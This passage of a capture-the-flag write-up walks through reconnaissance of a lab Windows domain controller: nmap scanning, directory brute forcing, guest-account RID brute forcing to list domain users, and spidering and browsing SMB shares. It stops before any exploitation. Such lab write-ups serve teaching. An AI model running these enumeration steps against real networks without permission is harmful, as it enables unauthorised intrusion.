|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-02-03T12:20:50
|_Not valid after:  2056-02-03T12:20:50
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Not valid before: 2025-09-07T08:04:48
|_Not valid after:  2026-03-09T08:04:48
| rdp-ntlm-info:
|   Target_Name: BREACH
|   NetBIOS_Domain_Name: BREACH
|   NetBIOS_Computer_Name: BREACHDC
|   DNS_Domain_Name: breach.vl
|   DNS_Computer_Name: BREACHDC.breach.vl
|   DNS_Tree_Name: breach.vl
|   Product_Version: 10.0.20348
|_  System_Time: 2026-02-03T12:41:46+00:00
|_ssl-date: 2026-02-03T12:42:26+00:00; +4s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
55568/tcp open  msrpc         Microsoft Windows RPC
59141/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: BREACHDC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
| smb2-time:
|   date: 2026-02-03T12:41:46
|_  start_date: N/A
|_clock-skew: mean: 4s, deviation: 0s, median: 3s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.25 seconds

</span></code></pre></div></div>

<p>The box shows many of the ports associated with a <a href="/cheatsheets/os#windows-domain-controller">Windows Domain Controller</a>. The domain is <code class="language-plaintext highlighter-rouge">breach.vl</code>, and the hostname is <code class="language-plaintext highlighter-rouge">BREACHDC</code>.</p>

<p>I’ll use <code class="language-plaintext highlighter-rouge">netexec</code> to make a <code class="language-plaintext highlighter-rouge">hosts</code> file entry and put it at the top of my <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb 10.129.10.28 <span class="nt">--generate-hosts-file</span> hosts
<span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>hosts 
<span class="go">10.129.10.28     BREACHDC.breach.vl breach.vl BREACHDC
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>hosts /etc/hosts | <span class="nb">sudo </span>sponge /etc/hosts
</code></pre></div></div>

<p>All of the ports show a TTL of 127, which matches the <a href="/cheatsheets/os#os-identification">expected TTL</a> for Windows one hop away.</p>

<p><code class="language-plaintext highlighter-rouge">nmap</code> notes my clock is roughly in sync with the DC, which is necessary to do any actions that use Kerberos auth.</p>

<p>For next steps in enumeration, I’ll check out the website on 80 and SMB for any anonymous access. When I get creds, I’ll want to check out MSSQL (1433) as well as WinRM (5985) or RDP (3389) for shell access.</p>

<h3 id="website---tcp-80">Website - TCP 80</h3>

<h4 id="site">Site</h4>

<p>Loading the site by IP or domain, it just shows the IIS default page:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260203081620256.webp" />
    <img loading="lazy" src="/img/image-20260203081620256.png" alt="image-20260203081620256" class="include_image " />
</picture>

<h4 id="tech-stack">Tech Stack</h4>

<p>This is clearly IIS, and the HTTP response headers show it’s IIS version 10:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">text/html</span>
<span class="na">Last-Modified</span><span class="p">:</span> <span class="s">Thu, 17 Feb 2022 09:54:35 GMT</span>
<span class="na">Accept-Ranges</span><span class="p">:</span> <span class="s">bytes</span>
<span class="na">ETag</span><span class="p">:</span> <span class="s">"997d8d5ee423d81:0"</span>
<span class="na">Server</span><span class="p">:</span> <span class="s">Microsoft-IIS/10.0</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Tue, 03 Feb 2026 13:15:53 GMT</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">703</span>
</code></pre></div></div>

<p>The main page loads as <code class="language-plaintext highlighter-rouge">/iisstart.htm</code>, which matches the default install. The 404 page is the <a href="/cheatsheets/404#iis">default IIS 404</a>:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260203082107392.webp" />
    <img loading="lazy" src="/img/image-20260203082107392.png" alt="image-20260203082107392" class="include_image " />
</picture>

<h4 id="directory-brute-force">Directory Brute Force</h4>

<p>I’ll run <code class="language-plaintext highlighter-rouge">feroxbuster</code> against the site, with a lowercase wordlist for Windows:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>feroxbuster <span class="nt">-u</span> http://breach.vl <span class="nt">-w</span> /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt    
<span class="go">                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://breach.vl
 🚀  Threads               │ 50
 📖  Wordlist              │ /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
</span><span class="feroxbuster-red">404</span><span class="go">      GET       29l       95w     1245c </span><span class="feroxbuster-green">Auto-filtering </span><span class="go">found </span><span class="feroxbuster-red">404</span><span class="go">-like response and created new filter; toggle off with </span><span class="feroxbuster-yellow">--dont-filter</span><span class="go">
</span><span class="feroxbuster-green">200</span><span class="go">      GET      334l     2089w   180418c http://breach.vl/iisstart.png
</span><span class="feroxbuster-green">200</span><span class="go">      GET       32l       55w      703c http://breach.vl/
</span><span class="feroxbuster-red">400</span><span class="go">      GET        6l       26w      324c http://breach.vl/error%1F_log
[</span><span class="feroxbuster-yellow">####################</span><span class="go">] - 12s    26587/26587   0s      </span><span class="feroxbuster-green">found</span><span class="go">:3       </span><span class="feroxbuster-red">errors</span><span class="go">:0      
[</span><span class="feroxbuster-cyan">####################</span><span class="go">] - 12s    26584/26584   2255/s  http://breach.vl/ 
</span></code></pre></div></div>

<p>It finds nothing.</p>

<h3 id="smb---tcp-445">SMB - TCP 445</h3>

<h4 id="users">Users</h4>

<p>The guest account is not able to list users, but it can brute force RIDs:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb BREACHDC.breach.vl <span class="nt">-u</span> guest <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">--users</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\guest:
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb BREACHDC.breach.vl <span class="nt">-u</span> guest <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">--rid-brute</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\guest:
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         498: BREACH\Enterprise Read-only Domain Controllers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         500: BREACH\Administrator (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         501: BREACH\Guest (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         502: BREACH\krbtgt (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         512: BREACH\Domain Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         513: BREACH\Domain Users (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         514: BREACH\Domain Guests (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         515: BREACH\Domain Computers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         516: BREACH\Domain Controllers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         517: BREACH\Cert Publishers (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         518: BREACH\Schema Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         519: BREACH\Enterprise Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         520: BREACH\Group Policy Creator Owners (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         521: BREACH\Read-only Domain Controllers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         522: BREACH\Cloneable Domain Controllers (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         525: BREACH\Protected Users (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         526: BREACH\Key Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         527: BREACH\Enterprise Key Admins (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         553: BREACH\RAS and IAS Servers (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         571: BREACH\Allowed RODC Password Replication Group (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         572: BREACH\Denied RODC Password Replication Group (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1000: BREACH\BREACHDC$ (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1101: BREACH\DnsAdmins (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1102: BREACH\DnsUpdateProxy (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1103: BREACH\SQLServer2005SQLBrowserUser$BREACHDC (SidTypeAlias)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1104: BREACH\staff (SidTypeGroup)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1105: BREACH\Claire.Pope (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1106: BREACH\Julia.Wong (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1107: BREACH\Hilary.Reed (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1108: BREACH\Diana.Pope (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1109: BREACH\Jasmine.Price (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1110: BREACH\George.Williams (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1111: BREACH\Lawrence.Kaur (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1112: BREACH\Jasmine.Slater (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1113: BREACH\Hugh.Watts (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1114: BREACH\Christine.Bruce (SidTypeUser)
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         1115: BREACH\svc_mssql (SidTypeUser)
</span></code></pre></div></div>

<p>The username format seems to be <code class="language-plaintext highlighter-rouge">&lt;first&gt;.&lt;last&gt;</code>, and there’s one service account, <code class="language-plaintext highlighter-rouge">svc_mssql</code> (which it is reasonable to assume is running the MSSQL service on 1433).</p>

<h4 id="share-enumeration">Share Enumeration</h4>

<p>The guest account is able to list shares:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb  BREACHDC.breach.vl <span class="nt">-u</span> guest <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">--shares</span>
<span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\guest: 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Enumerated shares
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">Share           Permissions     Remark</span><span class="err">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">-----           -----------     ------
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">ADMIN$                          Remote Admin
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">C$                              Default share
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">IPC$            READ            Remote IPC
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">NETLOGON                        Logon server share 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">share           READ,WRITE      
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">SYSVOL                          Logon server share 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">Users           READ
</span></code></pre></div></div>

<p>It has read access to the <code class="language-plaintext highlighter-rouge">Users</code> share, and read/write on <code class="language-plaintext highlighter-rouge">share</code>. I’ll use the <code class="language-plaintext highlighter-rouge">spider_plus</code> modules to get a full listing of each readable share:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>netexec smb  BREACHDC.breach.vl <span class="nt">-u</span> guest <span class="nt">-p</span> <span class="s1">''</span> <span class="nt">-M</span> spider_plus
<span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go"> </span><span class="netexec-logfail">(Guest Auth:True)</span><span class="go">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> breach.vl\guest: 
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Started module spidering_plus with the following options:
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go">  DOWNLOAD_FLAG: False
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go">     STATS_FLAG: True
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> EXCLUDE_FILTER: ['print$', 'ipc$']
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go">   EXCLUDE_EXTS: ['ico', 'lnk']
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go">  MAX_FILE_SIZE: 50 KB
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go">  OUTPUT_FOLDER: /home/oxdf/.nxc/modules/nxc_spider_plus
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Enumerated shares
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">Share           Permissions     Remark</span><span class="err">
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">-----           -----------     ------
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">ADMIN$                          Remote Admin
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">C$                              Default share
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">IPC$            READ            Remote IPC
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">NETLOGON                        Logon server share 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">share           READ,WRITE      
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">SYSVOL                          Logon server share 
</span><span class="netexec-protocol">SMB </span><span class="go">        10.129.10.28    445    BREACHDC         </span><span class="netexec-shareenum">Users           READ            
</span><span class="nb">SPIDER_PLUS</span><span class="go"> 10.129.10.28    445    BREACHDC         </span><span class="netexec-logsuccess">[+]</span><span class="go"> Saved share-file metadata to "/home/oxdf/.nxc/modules/nxc_spider_plus/10.129.10.28.json".
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> SMB Shares:           7 (ADMIN$, C$, IPC$, NETLOGON, share, SYSVOL, Users)
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> SMB Readable Shares:  3 (IPC$, share, Users)
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> SMB Writable Shares:  1 (share)
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> SMB Filtered Shares:  1
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Total folders found:  63
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> Total files found:    67
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> File size average:    27.75 KB
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> File size min:        3 B
</span><span class="nb">SPIDER_PLUS </span><span class="go">10.129.10.28    445    BREACHDC         </span><span class="netexec-logmessage">[*]</span><span class="go"> File size max:        512 KB
</span></code></pre></div></div>

<h4 id="users-share">Users Share</h4>

<p>I’ll use <code class="language-plaintext highlighter-rouge">jq</code> to get a list of all the files from the <code class="language-plaintext highlighter-rouge">Users</code> share:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cat </span>10.129.10.28.json | jq <span class="s1">'.Users | to_entries[] | .key'</span> <span class="nt">-r</span>
<span class="go">Default/AppData/Local/Microsoft/Windows Sidebar/settings.ini
Default/AppData/Local/Microsoft/Windows/History/desktop.ini
Default/AppData/Local/Microsoft/Windows/PowerShell/StartupProfileData-Interactive
Default/AppData/Local/Microsoft/Windows/Shell/DefaultLayouts.xml
Default/AppData/Local/Microsoft/Windows/UsrClass.dat
Default/AppData/Local/Microsoft/Windows/UsrClass.dat.LOG1
Default/AppData/Local/Microsoft/Windows/UsrClass.dat.LOG2
Default/AppData/Local/Microsoft/Windows/UsrClass.dat{daabe3c8-007c-11ec-b8eb-f348435aa013}.TM.blf
Default/AppData/Local/Microsoft/Windows/UsrClass.dat{daabe3c8-007c-11ec-b8eb-f348435aa013}.TMContainer00000000000000000001.regtrans-ms
Default/AppData/Local/Microsoft/Windows/UsrClass.dat{daabe3c8-007c-11ec-b8eb-f348435aa013}.TMContainer00000000000000000002.regtrans-ms
Default/AppData/Local/Microsoft/Windows/WinX/Group1/1 - Desktop.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group1/desktop.ini
Default/AppData/Local/Microsoft/Windows/WinX/Group2/1 - Run.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/2 - Search.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/3 - Windows Explorer.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/4 - Control Panel.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/5 - Task Manager.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group2/desktop.ini
Default/AppData/Local/Microsoft/Windows/WinX/Group3/01 - Command Prompt.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/01a - Windows PowerShell.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/02 - Command Prompt.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/02a - Windows PowerShell.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/03 - Computer Management.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/04 - Disk Management.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/04-1 - NetworkStatus.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/05 - Device Manager.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/06 - SystemAbout.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/07 - Event Viewer.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/08 - PowerAndSleep.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/09 - Mobility Center.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/10 - AppsAndFeatures.lnk
Default/AppData/Local/Microsoft/Windows/WinX/Group3/desktop.ini
Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Shows Desktop.lnk
Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/Window Switcher.lnk
Default/AppData/Roaming/Microsoft/Internet Explorer/Quick Launch/desktop.ini
Default/AppData/Roaming/Microsoft/Windows/SendTo/Compressed (zipped) Folder.ZFSendToTarget
Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop (create shortcut).DeskLink
Default/AppData/Roaming/Microsoft/Windows/SendTo/Desktop.ini
Default/AppData/Roaming/Microsoft/Windows/SendTo/Mail Recipient.MAPIMail
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessibility/Magnify.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessibility/Narrator.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessibility/On-Screen Keyboard.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessibility/desktop.ini
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Accessories/Desktop.ini
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Maintenance/Desktop.ini
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/setwallpaper.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Administrative Tools.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Command Prompt.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Control Panel.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Desktop.ini
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/File Explorer.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/Run.lnk
Default/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/System Tools/computer.lnk
Default/Desktop/EC2 Feedback.website
Default/Desktop/EC2 Microsoft Windows Guide.website
Default/NTUSER.DAT
Default/ntuser.ini
Public/AccountPictures/desktop.ini
Public/Documents/desktop.ini
Public/Downloads/desktop.ini
Public/Libraries/RecordedTV.library-ms
Public/Libraries/desktop.ini
Public/Music/desktop.ini
Public/Pictures/desktop.ini
Public/Videos/desktop.ini
Public/desktop.ini
desktop.ini
</span></code></pre></div></div>

<p>It’s the <code class="language-plaintext highlighter-rouge">Default</code> and <code class="language-plaintext highlighter-rouge">Public</code> user directories. Nothing interesting here.</p>

<h4 id="share">share</h4>

<p>The <code class="language-plaintext highlighter-rouge">share</code> share has three folders:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>smbclient //BREACHDC.breach.vl/share <span class="nt">-U</span> <span class="s1">'guest%'</span>
<span class="go">Try "help" to get a list of possible commands.
</span><span class="gp">smb: \&gt;</span><span class="w"> </span><span class="nb">ls</span>
<span class="go">  .                                   D        0  Tue Feb  3 13:38:41 2026
  ..                                DHS        0  Tue Sep  9 10:35:32 2025
  finance                             D        0  Thu Feb 17 11:19:34 2022
  software                            D        0  Thu Feb 17 11:19:12 2022
  transfer                            D        0  Mon Sep  8 10:13:44 2025

                7863807 blocks of size 4096. 1518950 blocks available
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">finance</code> and <code class="language-plaintext highlighter-rouge">software</code> are both empty (as far as guest can see). <code class="language-plaintext highlighter-rouge">transfer</code> has three more directories:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">smb: \transfer\&gt; </span><span class="nb">ls</span>
<span class="go">  .                                   D        0  Mon Sep  8 10:13:44 2025
  ..                                  D        0  Tue Feb  3 13:38:41 2026
  claire.pope                         D        0  Thu Feb 17 11:21:35 2022
  diana.pope                          D        0  Thu Feb 17 11:21:19 2022
  julia.wong                          D        0  Thu Apr 17 00:38:12 2025

                7863807 blocks of size 4096. 1518534 blocks available
</span></code></pre></div></div>

<p>guest is not able to list inside any of these.</p>

